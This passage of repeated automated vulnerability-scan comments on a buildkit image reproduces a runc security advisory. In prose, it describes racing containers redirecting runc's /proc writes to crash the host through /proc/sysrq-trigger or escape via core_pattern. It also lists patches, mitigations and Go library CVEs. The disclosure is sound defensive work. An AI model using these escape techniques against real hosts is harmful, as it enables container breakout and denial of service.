("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Outdated

Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

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✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Outdated

Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

